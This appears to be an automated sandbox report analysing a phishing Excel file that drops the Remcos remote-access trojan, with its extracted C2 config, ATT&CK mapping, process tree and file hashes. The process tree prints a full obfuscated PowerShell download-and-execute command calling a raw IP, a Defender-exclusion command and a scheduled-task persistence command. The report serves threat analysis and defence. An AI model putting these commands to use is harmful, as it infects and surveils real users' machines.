remcos | 7fb0d13c333aef86316da1494da234eade3b8db44fddd27affc38bae40614744

Analysis

max time kernel
148s
max time network
131s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
17-12-2024 11:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Smple_Order-048576744759475945.xls
Size

1.1MB
MD5

df946e734bca37e4eaf06978a0b95ef1
SHA1

c06f8ddc7d5cb1030c516286bd0a660502cbbe35
SHA256

7fb0d13c333aef86316da1494da234eade3b8db44fddd27affc38bae40614744
SHA512

e9dd9266c4dc5721b47d1d4de0e1525482cbec8330e5003f0444d940c99380efae89f7424d709e7aac4962e2541d84b06c1fb7d4686e0949a852e83b39d5dc96
SSDEEP

12288:qymzHJEUiOIBUzMTSgD3DERnLRmF8DrEPTxpsAQx1Zj+j+EPebSA5YiA76UdKX/E:4BaRbARM8+D8Z+jJC50YrNPkly4h

Score

10^/10

remcos elvis defense_evasion discovery execution phishing rat

Malware Config

Extracted

Family

remcos

Botnet

elvis

107.173.4.16:2560

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-GJDISH
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 3 IoCs

flow	pid	Process
18	2260	mshta.exe
19	2260	mshta.exe
21	1304	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2368	powershell.exe

Downloads MZ/PE file

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
1304	powershell.exe
1644	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2564	nicetomeetyousweeet.exe

Loads dropped DLL 3 IoCs

pid	Process
1304	powershell.exe
1304	powershell.exe
1304	powershell.exe

Uses the VBS compiler for execution 1 TTPs

Command and Scripting Interpreter
T1059

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2564 set thread context of 1276	2564	nicetomeetyousweeet.exe	44

Detected phishing page
Hiding page source
phishing
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nicetomeetyousweeet.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	mshta.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	mshta.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1268	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2504	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1304	powershell.exe
2368	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1304	powershell.exe
Token: SeDebugPrivilege	2368	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2504	EXCEL.EXE
2504	EXCEL.EXE
2504	EXCEL.EXE
2504	EXCEL.EXE
2504	EXCEL.EXE

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2260 wrote to memory of 1644	2260	mshta.exe	33
PID 2260 wrote to memory of 1644	2260	mshta.exe	33
PID 2260 wrote to memory of 1644	2260	mshta.exe	33
PID 2260 wrote to memory of 1644	2260	mshta.exe	33
PID 1644 wrote to memory of 1304	1644	cmd.exe	35
PID 1644 wrote to memory of 1304	1644	cmd.exe	35
PID 1644 wrote to memory of 1304	1644	cmd.exe	35
PID 1644 wrote to memory of 1304	1644	cmd.exe	35
PID 1304 wrote to memory of 1148	1304	powershell.exe	36
PID 1304 wrote to memory of 1148	1304	powershell.exe	36
PID 1304 wrote to memory of 1148	1304	powershell.exe	36
PID 1304 wrote to memory of 1148	1304	powershell.exe	36
PID 1148 wrote to memory of 2684	1148	csc.exe	37
PID 1148 wrote to memory of 2684	1148	csc.exe	37
PID 1148 wrote to memory of 2684	1148	csc.exe	37
PID 1148 wrote to memory of 2684	1148	csc.exe	37
PID 1304 wrote to memory of 2564	1304	powershell.exe	39
PID 1304 wrote to memory of 2564	1304	powershell.exe	39
PID 1304 wrote to memory of 2564	1304	powershell.exe	39
PID 1304 wrote to memory of 2564	1304	powershell.exe	39
PID 2564 wrote to memory of 2368	2564	nicetomeetyousweeet.exe	40
PID 2564 wrote to memory of 2368	2564	nicetomeetyousweeet.exe	40
PID 2564 wrote to memory of 2368	2564	nicetomeetyousweeet.exe	40
PID 2564 wrote to memory of 2368	2564	nicetomeetyousweeet.exe	40
PID 2564 wrote to memory of 1268	2564	nicetomeetyousweeet.exe	42
PID 2564 wrote to memory of 1268	2564	nicetomeetyousweeet.exe	42
PID 2564 wrote to memory of 1268	2564	nicetomeetyousweeet.exe	42
PID 2564 wrote to memory of 1268	2564	nicetomeetyousweeet.exe	42
PID 2564 wrote to memory of 1276	2564	nicetomeetyousweeet.exe	44
PID 2564 wrote to memory of 1276	2564	nicetomeetyousweeet.exe	44
PID 2564 wrote to memory of 1276	2564	nicetomeetyousweeet.exe	44
PID 2564 wrote to memory of 1276	2564	nicetomeetyousweeet.exe	44
PID 2564 wrote to memory of 1276	2564	nicetomeetyousweeet.exe	44
PID 2564 wrote to memory of 1276	2564	nicetomeetyousweeet.exe	44
PID 2564 wrote to memory of 1276	2564	nicetomeetyousweeet.exe	44
PID 2564 wrote to memory of 1276	2564	nicetomeetyousweeet.exe	44
PID 2564 wrote to memory of 1276	2564	nicetomeetyousweeet.exe	44
PID 2564 wrote to memory of 1276	2564	nicetomeetyousweeet.exe	44
PID 2564 wrote to memory of 1276	2564	nicetomeetyousweeet.exe	44

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Smple_Order-048576744759475945.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2504

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe -Embedding
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:2260
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/c poWErShELL.EXE -Ex ByPAsS -nop -W 1 -c dEviceCRedeNtIaldEplOyMENt.ExE ; invokE-ExPRessiOn($(INvOke-ExPRessION('[System.tEXT.enCodinG]'+[cHaR]58+[cHaR]58+'UTf8.GeTString([SysteM.cONvERT]'+[chaR]58+[ChAr]58+'fRombAsE64stRiNG('+[CHAr]34+'JGcycmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVyRGVmaW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsbW9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTFVOSEJ3eFdNS2gsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1KZmxJZlp1Wix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdsLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUZHhzKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtcVFzZCIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpTFggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZzJyajo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3OS4xNjYvNzYvZWNvbWUuZXhlIiwiJGVuVjpBUFBEQVRBXG5pY2V0b21lZXR5b3Vzd2VlZXQuZXhlIiwwLDApO3NUYXJ0LVNMRUVwKDMpO0ludk9LZS1leHByZXNTSW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcbmljZXRvbWVldHlvdXN3ZWVldC5leGUi'+[CHaR]0x22+'))')))"
  2⤵
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1644
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    poWErShELL.EXE -Ex ByPAsS -nop -W 1 -c dEviceCRedeNtIaldEplOyMENt.ExE ; invokE-ExPRessiOn($(INvOke-ExPRessION('[System.tEXT.enCodinG]'+[cHaR]58+[cHaR]58+'UTf8.GeTString([SysteM.cONvERT]'+[chaR]58+[ChAr]58+'fRombAsE64stRiNG('+[CHAr]34+'JGcycmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVyRGVmaW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsbW9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTFVOSEJ3eFdNS2gsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1KZmxJZlp1Wix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdsLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUZHhzKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtcVFzZCIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpTFggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZzJyajo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3OS4xNjYvNzYvZWNvbWUuZXhlIiwiJGVuVjpBUFBEQVRBXG5pY2V0b21lZXR5b3Vzd2VlZXQuZXhlIiwwLDApO3NUYXJ0LVNMRUVwKDMpO0ludk9LZS1leHByZXNTSW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcbmljZXRvbWVldHlvdXN3ZWVldC5leGUi'+[CHaR]0x22+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - Loads dropped DLL
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1304
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\feg31p-0.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1148
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC85F.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCC85E.tmp"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2684
  - - C:\Users\Admin\AppData\Roaming\nicetomeetyousweeet.exe
      "C:\Users\Admin\AppData\Roaming\nicetomeetyousweeet.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2564
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\QJXouGSsQAwOR.exe"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2368
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\QJXouGSsQAwOR" /XML "C:\Users\Admin\AppData\Local\Temp\tmp165E.tmp"
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:1268
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        5⤵
        
        PID:1276

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D

Filesize
2KB

MD5
bf784edee93fca58a4f656c76f07c1b4

SHA1
4965c03faaeec20f1b0cefa4844608e403d2569c

SHA256
82e0e5014ce5a84bb7fd5e2569c66912fbf4b6262c7f0e94f9a7085ff044188f

SHA512
3c480e5ddde056f5b250f66018b78158ecb265f7843416720fbf6dd8038ec2e3d4eca5655c85659d1e7fe5d887cc93e112861beb3aa2524a1d4f9fb2725e6475

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\87063374136EEC47E933C8519BBDFF7F

Filesize
471B

MD5
90c52d81ab9066022771fa4424ea7e8f

SHA1
161e7b2f33071b4f2d52dab3e273e1b9edb55b0b

SHA256
a3e87172d27129cc41d87a9f38bab1912cd2d241b1934086678e1d88602c9284

SHA512
ec0a5f3a8a846383ddf29c57355516785de9a8c3dbcfad388c22e425298ab84617e45d994fa6946d89eeb6253916d9e8ece51cefced0542f23dc727917a2ff2f

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E

Filesize
1KB

MD5
9047d91427fbc84f6f261fa8961d626b

SHA1
a51383a0e9eccbe2032f19ff1d5c91e866cfb69f

SHA256
3181b9f6bf992319794a86f7f27631619c7fcae1e208f4ced04e64b7ea577a19

SHA512
dc21fb378f8ef75fab3c7e80bf1fb7deb2364631a939d1ed113199be83e4a18113795b57620bdbf056876515293f79e8f50b3869b7ad175e073013b0616cba85

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D

Filesize
488B

MD5
983857efe5b5fddf68aba793432eae89

SHA1
83ff476faf22175b9ac9bd53089b6a916d3134d3

SHA256
8519452e4d2d3910a760644a02f0af4037d48626197dd747ad469479bf84fa5e

SHA512
78439a1fa4afd8b7cd8e7c2f2afa11e5a6e579c64346cbf527c2a28e2b75fa77e1856acb38ea83604c4d1dd778df24399bdc102d0df0742fe60d3706022a33e4

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\87063374136EEC47E933C8519BBDFF7F

Filesize
480B

MD5
102400c8bfe9432c210919ae7ad3b4c9

SHA1
cd3f418b8356cd70edffe8304065f30ede9e67b3

SHA256
c694bf52db8ef74d13eff0287ca444b1c5ca649508360299e28f6007b76b3501

SHA512
4edac3688e98b074c174ab31dcca24e36604151d307f6454cabbb4f02c41b3e44ae5cf250a721f3259d0a099cb582ea65486a8bd2792587170671371113be75c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
ddbd2662de0ec120674fd0d69fc0d3a5

SHA1
3348ffe3b31fd617f42d766700df7be23412056b

SHA256
df4d335eefe59cea3e427f6cb3b8954db853bfa27effffac28fb000a621ccf3a

SHA512
8af9530d12ba1bf7aab0323258d356f441ec80820a1c279de782fdccd5649823ae3347c4d96982e4de10fc49702d88a9de00b0653a6697e47024a906b9439060

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E

Filesize
482B

MD5
3405778f349129669fc7948f68dfccd2

SHA1
ef5685e7583a9aba8e43aea0f4da034ef30687ec

SHA256
45b9eec55576c2001787d6dbebeb8324707fa98bd8822e49197f25a738a28602

SHA512
0ecd7b30e0625c3060429df20b4f0e42e4db081612208e921e5828d3887bed900c57b8e4a9079bff36b6c823718f30e53bf9f6a0673b2d813dae1143f45729ca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\DJB1KT77\crreatedbestthingswithgreatattitudeneedforthat[1].hta

Filesize
8KB

MD5
e4c5ceeb8c98c1c23a0ff6cd1a4d36e4

SHA1
033d24c4375394ad9ede6a94cc80bca6b47a1ef7

SHA256
bea2fd609f237d38625a50f7bb5688e7dcfdeb39e5641bb881e257807761b902

SHA512
b152a9bcbef1fb5594f0a4f4c9d0e59ffa748a226cefbd967d65aed315d2230ad340d345077866f6d1682e892e5dab9a8b776a7152759db1c4834ab6678337a1

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabAF17.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESC85F.tmp

Filesize
1KB

MD5
62ed7a7b934ae33aa32d0cc33cfffdad

SHA1
72bf11f9f0fe69dca5456cb0364a800f70901cdb

SHA256
20c2b6515a3e154f7fddc0b3f691582972f25d99b7f8e2906b3ccfa58b154866

SHA512
f21252904459bbd9eda4c7c0a9e7272c96d12ac636d04370e53f5ed2cdd8a7be6e23c2c544e4b320750f35864b25dc2e17b7e56c8db0c332236071146a3f355c

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarAF39.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Local\Temp\feg31p-0.dll

Filesize
3KB

MD5
30e9388e63ba48c0018d56ad0dd5143b

SHA1
35032878d298b81ead613a7c8d0daeedbb687be3

SHA256
ed3cb3218e611c2d4d60e0e71548210b5643a385d4329dcd2bd46bf02531b6f9

SHA512
8d802ab7ff37558bca2b16f1f66a3770354c1c0ec499a2cbfd03a61bb758c91a06f2fd9ccf441de287dbb1a28b10e66c233bc695d47ebc42ba2ea6f5579104e7

Download Submit
C:\Users\Admin\AppData\Local\Temp\feg31p-0.pdb

Filesize
7KB

MD5
9b083eead0c949e42f01335cd9fa5820

SHA1
2b969a1da5c07eb805d0ae60d0adf0198169dca3

SHA256
f458a416e6e090d85eee43f326a646a7cadf0be1c310dab27643e0b4ff1a15f7

SHA512
d46b06dafdbc911214a696a8d7d2a81acc74ae5e8db9c3a8666f74de346802ffcf9e4c2ee45f686f242ad8cbfcdfe9a0daf0e85512faa52be3f892b1d67aaeaa

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp165E.tmp

Filesize
1KB

MD5
078d0186382e7d1df78ce5d47e0850c2

SHA1
b0abd159c081fe855579877888caad632e4f07a8

SHA256
46211de3331ea80485186ab3d55d8728445329188a7c1d1fee8d338788a86553

SHA512
c11a503a54aa6d8f44b75872441320be56874f76d9e1d12c50985ed4653be40c120455f06cd57bfe5b52739e8c0a0a134be9eeed9764a8fbb59f9200ad298a61

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\C5BXCEF36WYB3J0HOLUT.temp

Filesize
7KB

MD5
58de9f5b5d6253bbf638b313acdba349

SHA1
ef9f01f6bccda55346f231e809a97905be79ae08

SHA256
7be79678fe40e3e1dc483d1f4a5d4ca741c9e974349cae98366cc83eb1d71750

SHA512
12cfb3517f869b496bd4616cfdf62ca847d67c7dc48ca114c15ebc3096f98c5b4aaac67258d749b0c6f010ad45cec345ba410a48deb0cc3173cdd19f452e9756

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
82d0a29a32602d8ecaaf08b918bf552e

SHA1
1b5ec66d8a9ff8d8fb7e58fee33dfcf3c86f2312

SHA256
cb04b8c06a40eb13c942749cb89266a52fb40555f23564012b233ab6863205b9

SHA512
4dcf36788fb482ed5569f81f135ac81d3ac424830a0cfa0d5f7766179391c7f4aed3c1cfde8c4355523d2bc7c19d52530b9ef51ae5847f0dd32920494ed4e1f1

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSCC85E.tmp

Filesize
652B

MD5
3f338f3703e4cb00c3bd11890cec66ad

SHA1
d369935952701ad4b4f7981021d2c58993b99e8b

SHA256
4910e912b47b938c626dd3292c8a5d4212a2870a252d986dbfe3e07ebb21f923

SHA512
249c7ce06a2c87670f353ec7b0dadcf4a3859d1e708a9e6ba26652094e7c59714901401658ab4002aa1c38fd1c8b482deafd9246e7ee0fef14404423b2ca0042

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\feg31p-0.0.cs

Filesize
478B

MD5
80c03b4485808d996cc8226157f377a7

SHA1
7cc7e02b84232b1523c555a349c86fc059a98eff

SHA256
